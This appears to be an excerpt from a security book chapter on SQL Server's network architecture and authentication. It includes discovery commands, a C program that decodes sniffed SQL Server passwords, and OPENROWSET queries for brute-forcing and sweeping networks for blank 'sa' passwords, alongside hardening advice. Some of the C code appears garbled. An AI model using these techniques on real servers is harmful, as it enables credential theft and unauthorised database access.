Physical Architecture

The first step in appraising the overall security of SQL Server within a corporate network is to take a wide view of its positioning and interaction with other elements of the enterprise. This section examines the typical deployment of the server, the behavior of its low-level network protocols, and authentication procedures.

Microsoft SQL Server is confined to the Microsoft Windows family of operating systems. This introduces a narrow range of server configurations in comparison to Oracle, for example, which is currently available for 26 combinations of operating systems and server hardware. This has historically added to the effectiveness of SQL Server worms, which often rely heavily on uniformity of installations using hard-coded memory addresses for buffer overflows and the calling of system functions.

The Microsoft Data Engine (MSDE), a very basic version of SQL Server, is often installed along with Windows applications that require a simple database to organize their information. For this reason the SQL Server architecture itself has become far more widespread, especially for end users. System administrators, and even the user , are often unaware of MSDE installations on a particular host. MSDE installations inside company LANs, both un-patched and un-firewalled, expedited the spread of the Slammer worm, which utilized an exploit common to both MSDE and the full version of SQL Server.

Tabular Data Stream (TDS) Protocol

The native network protocol used by a SQL Server to communicate with connected clients is known as the Tabular Data Stream (TDS) protocol. Because TDS is used to handle all database communication, it controls user authentication together with both SQL queries and the returned response data. In order for an attacker to breach security at the network layer it is necessary to use custom network code, because the functionality offered by standard SQL Server clients such as Query Analyzer do not allow for the required freedom in protocol packaging.

A number of overflow vulnerabilities were discovered by attacks on the SQL Server network layer; one of the more critical issues, Dave Aitel's Hello bug, allows overflow and arbitrary code execution in the first packet sent to the server by a client ”prior to any authentication. This issue affected both SQL Server 7 and 2000, together with MSDE, and was patched by Microsoft in October 2002 ( http://www.microsoft.com/technet/security/bulletin/MS02-056.mspx ). The Metasploit Framework ( http://metasploit.com/projects/Framework ), developed by HD Moore and Spoonm, contains exploit code for both the Hello bug and the SQL Server 2000 Resolution Overflow discovered by David Litchfield.

The TDS protocol itself can be examined using network packet capture software such as Ethereal ( www.ethereal.com ) or tcpdump ( www.tcpdump.org ).

The Microsoft security bulletin MS99-059 ( http://www.microsoft.com/technet/security/bulletin/ms99-059.mspx ) describes a denial of service vulnerability at the network protocol level in SQL Server 7. The problem arises if a TDS packet is sent with the packet size information in its header set to a value that is smaller than the minimum allowed size . SQL Server attempts to read past the end of its allocated buffer and into protected memory, causing an access violation that stops the SQL Server process.

The TDS protocol has been expanded beyond Windows machines. An open -source implementation, FreeTDS ( http://www.freetds.org ), is available as a set of libraries for Unix platforms that allow programs to communicate with SQL Servers.

Network Libraries

SQL Server can be set up to use a variety of different network libraries (netlibs) that are used by connecting clients. Network protocols can be viewed and changed using the Server Network Utility; by default the only one initially installed is TCP/IP. This is the favored netlib for most SQL Server clients. SQL Server can also communicate via Named Pipes, a library that uses the Windows Server Message Block (SMB) protocol. This requires that Windows authentication is used on the server, and network speeds can be slower than simple TCP/IP. The Super Sockets netlib is used by all other netlibs for their network communications; this allows for SSL (Secure Sockets Layer) encryption. It is not used, however, if the client is connecting to a SQL Server on the same machine. In this case the protocols use the Shared Memory netlib, which is the fastest available netlib; no encryption is used or necessary. By removing all other protocols the Shared Memory netlib can also be used to accept only connections from local clients ”the SQL Server will still be able to move replication data to other servers but all incoming network connections are rejected. This degree of lockdown may be useful if, for example, the SQL Server is running on a software development machine.

Other protocols supported by SQL Server are AppleTalk, Banyan Vines, Multiprotocol, NWLink IPX/SPX, and VIA (Virtual Interface Architecture) GigaNet SAN (System Area Networks). Only NWLink IPX/SPX and VIA GigaNet SAN support multiple SQL Server instances; the rest are fairly obscure and included only to provide backward compatibility for older client applications.

SQL Server Processes and Ports

The main SQL Server process sqlservr .exe listens by default on TCP port 1433, although this port can be customized using the Server Network Utility to evade casual port scans . SQL Server 2000 also listens on UDP port 1434; this UDP port is the Microsoft SQL Monitor port that will supply information about the SQL Server in response to a single-byte query packet of value 0x02. This behavior is used by Chip Andrews' utility SQLPing (sqlsecurity.com) to determine the hostname, version number, and ports in use by a target SQL Server, as shown here:

 C:\>sqlping 192.168.2.121 SQLPinging... Response from 192.168.2.121 ----------------------------- ServerName   : SERVERNAME InstanceName : MSSQLSERVER IsClustered  : No Version      : 8.00.194 np           : \SERVERNAME\pipe\sql\query tcp          : 1433 True Version : 8.0.818 SQLPing Complete. 

You can see that if the resolution service is accessible, any custom TCP port can be easily found. Attacks on the SQL Monitor port are possible when the query packet is set to values other than 0x02; these are discussed in greater detail later in this chapter. SQLPing 2 ( http://sqlsecurity.com/DesktopDefault.aspx?tabid=26 ) has since been released, which offers a graphical interface, the ability to scan IP ranges, and password brute-forcing capabilities. SQLPing is especially effective when used against a subnet's broadcast IP address because many obscure development SQL Servers or MSDE installations are often detected .

There is also an option to "hide" the SQL Server, which switches the default TCP port to 2433. SQL Server will now no longer respond to broadcast requests from clients looking for servers. This feature, however, is not often used because it cannot be implemented with multiple instances of SQL Server. Access violations can also occur in the client when using this feature ( http://support.microsoft.com/default.aspx?kbid=814064 ).

The SQL Server service manager runs as the process sqlmangr.exe and is used to start, stop, and pause SQL Server itself, the SQL Server Agent, and the Distributed Transaction Coordinator and OLAP services.

The Microsoft command-line tool Osql can also be used to detect SQL Servers on a network. It is usually used to send SQL queries directly to a server, but by using the switch “L it will poll the broadcast address 255.255.255.255 using the same "discovery byte" of 0x02 that SQLPing employs. Osql also lists discovered instances together with any locally defined aliases found in the registry key:

 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo 

The Windows Server Controller tool sc.exe can be used to detect the presence of SQL Server on a host by searching for a common string, such as MSSQL, in its service list:

 C:\>sc \[target IP] query bufsize= 65536  find "MSSQL" SERVICE_NAME: MSSQLSERVER DISPLAY_NAME: MSSQLSERVER 

The final last resort technique to enumerate a network's SQL Servers is conventional port scanning. This involves using a tool such as nmap ( http://www. insecure .org/nmap ) to scan for machines that are listening on TCP port 1433, but obviously this will not detect servers running on non-standard ports.

A number of commercial SQL Server security scanners are available. Among the most commonly used are:

• AppDetective from Application Security Inc. ( http://www.appsecinc.com/products/appdetective )

• Database Scanner from Internet Security Systems ( http://www.iss.net/products_services/enterprise_protection/vulnerability_assessment/scanner_database.php )

• NGSSQuirreL from Next Generation Security Software ( http://www.ngssoftware.com/squirrelsql.htm )

Once the server version has been determined using a tool such as SQLPing, public vulnerability databases will reveal which issues it is vulnerable to. Both the BugTraq mailing list archive ( http://www.securityfocus.com/bid ) and the ICAT Metabase ( http://icat.nist.gov ) contain detailed information about SQL Server vulnerabilities together with CVE (Common Vul-nerabilities and Exposures) numbers for cross-referencing. SQLSecurity's online SQL Server version database ( http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=37 ) provides mappings between the SQL Server's version and its service pack and patch level.

Authentication and Authorization

In determining whether a particular user should be able to access certain data, SQL Server performs both authentication and authorization checks. Authentication involves checking the identity of the connecting user and controlling access to the database environment, whereas authorization decides which databases and objects the connected user should be allowed to access. SQL Server supports two means of user verification: Windows authentication and native SQL Server authentication.

Windows authentication uses a set of security tokens that identify the connecting user's Windows login and any group memberships. To successfully authenticate, the user's login must map to a Windows NT/2000 user or group with access to the SQL Server's domain. The security tokens supplied identify username and group membership using Windows Security Identifiers (SIDs); these are compared against those in the SQL Server master database's sysx-logins table.

The authentication method used by the server can be set in the SQL Server Enterprise Manager, or by setting the following registry values:

 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\LoginMode HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\[Instance]\LoginMode 

A value of 1 signifies Windows authentication; 2 denotes both native and Windows authentication.

When using native SQL Server authentication, the password provided by the client is obfuscated before transmission over the wire. This means that instead of securely hashing the sensitive data, an easily reversible transformation is applied. A packet dump of the authentication process is shown in Figure 21-1.

Figure 21-1: Packet dump of the authentication process.

The obfuscated password is highlighted showing that every other byte is set to 0xA5. This is the key to unraveling the process. The SQL Server client first converts the password string to the Unicode character set, then swaps around the first nibble (4 bytes) of each byte of the password, and finally performs an XOR (exclusive OR) logical operation on the output with the value 0xA5. Because an ASCII (1 byte per character) string converted into Unicode (2 bytes per character) will be interspersed with nulls (0x00) and any value XORed with zero is unchanged, this reveals the constant XOR value to be 0xA5. Any password sent using native authentication therefore can be easily discovered. The following C code will decipher an obfuscated password passed on the command line:

 #include <stdio.h> int main(int argc, char *argv[]) {      unsigned int index = 0, temp, is_null = 0, input_length;      char input[256], output[256], hexbyte[2];      if (argc != 2)           {           printf("\nUsage: %s [obfuscated password]\n\ne.g. %s 92A5F3A593A582A596A5E2A597A5\n", argv[0], argv[0]);           return 0;           }      strncpy(input, argv[1], 256);      input_length = strlen(input);      printf("\nThe password is: "); while ((index < input_length) && (index < 256))      {           hexbyte[0] = input[index];      hexbyte[1] = input[index + 1];      hexbyte[2] = 0;      // convert hex string to an integer      temp = HexToInt(hexbyte);      // XOR with A5      temp = temp ^ 0xA5;      // swap nibbles      temp = ((temp >> 4 )  (temp << 4));             // output every other password letter      if (!is_null)           printf("%c", temp);           index += 2;            // flip is_null to opposite value      is_null = (is_null) ? 0 : 1;            } // end while      printf("\n"); return 0; }     // convert a two-byte hexadecimal character string to an integer value int HexToInt(char *HexByte)    {   int n;           int IntValue = 0;   int digits[2];   // return if two characters were not submitted   if (strlen(HexByte) != 2)      return 0;   // set corresponding integer values for both chars   for (n = 0; n <= 1; n++)      {      if (HexByte[n] >= '0' && HexByte[n] <= '9' )            digits[n] = HexByte[n] & 0x0f;      else if ((HexByte[n] >='a' && HexByte[n] <= 'f')  (HexByte[n] >='A' && HexByte[n] <= 'F'))              digits[n] = (HexByte[n] & 0x0f) + 9;      }   // first digit designates a value 16 times more than second   IntValue = (digits[0] * 16) + digits[1];   return IntValue; } 

OPENROWSET Re-Authentication

Low-privileged users can re-authenticate with SQL Server if they have access to the OPENROWSET command. This is usually used to retrieve data from a remote OLE DB data source and is commonly called using the following arguments:

OLE DB Provider for ODBC (MSDASQL):

 select * from OPENROWSET('MSDASQL','DRIVER={SQL Server};SERVER=;uid=sa;pwd=password','select @@version') 

OLE DB Provider for SQL Server (SQLOLEDB):

 select * from OPENROWSET('SQLOLEDB','','sa','password','select @@version') 

By default in SQL Server 2000, low-privileged users are not allowed to execute using MSDASQL, but they can use the SQLOLEDB syntax. By incorporating this query into a harness script containing default usernames and passwords, database accounts can be brute-forced. Early versions of SQL Server 2000 will reveal the Windows account that SQL Server is using if an invalid OPENROWSET command is given:

 select * from OPENROWSET('SQLOLEDB','';;,'') Server: Msg 18456, Level 14, State 1, Line 1_Login failed for user 'sqlserver_account'. 

By default all users can execute the extended stored procedure xp_execresultset. This leads to the following variations on the preceding queries:

Using MSDASQL:

 exec xp_execresultset N'select * from OPENROWSET(''MSDASQL'', ''DRIVER={SQL Server};SERVER=;uid=sa;pwd=password'',''select @@version'')', N'master' 

Using SQLOLEDB:

 exec xp_execresultset N'select * from OPENROWSET(''SQLOLEDB'',''''; ''sa'';''password'',''select @@version'')', N'master' 

The OPENROWSET command can also be used to read Microsoft Excel spreadsheet files, Microsoft Access database files, and local text files if the filename is known. The existence of these files can be confirmed using the undocumented extended stored procedures xp_fileexist and xp_dirtree, which are used to test whether a particular file exists and list a directory's subdirectories, respectively. To access Excel data, use

 select * from OPENROWSET ('Microsoft.Jet.OLEDB.4.0','EXCEL 8.0; Database=C:\spreadsheet.xls', Book1$) 

To retrieve data from an Access database file, use

 select * from OPENROWSET('Microsoft.Jet.OLEDB.4.0','C:\database.mdb'; 'admin';'',Table1) 

OPENROWSET can also be used to search the network for other SQL Servers with weak or blank passwords:

 select * from OPENROWSET('SQLOLEDB','192.168.0.1';'sa';'','select @@version') select * from OPENROWSET('SQLOLEDB','192.168.0.2';'sa';'','select @@version') select * from OPENROWSET('SQLOLEDB','192.168.0.3';'sa';'','select @@version') 

These are known as ad-hoc queries because none of the SQL Servers accessed need to have been defined as linked servers. Ad-hoc queries can be disabled on a particular data provider by setting the registry value DisallowAdhocAccess to 1 under the key

 HKEY_LOCAL_MACHINE\Software\Microsoft\MSSQLSERVER\Providers\[Provider name]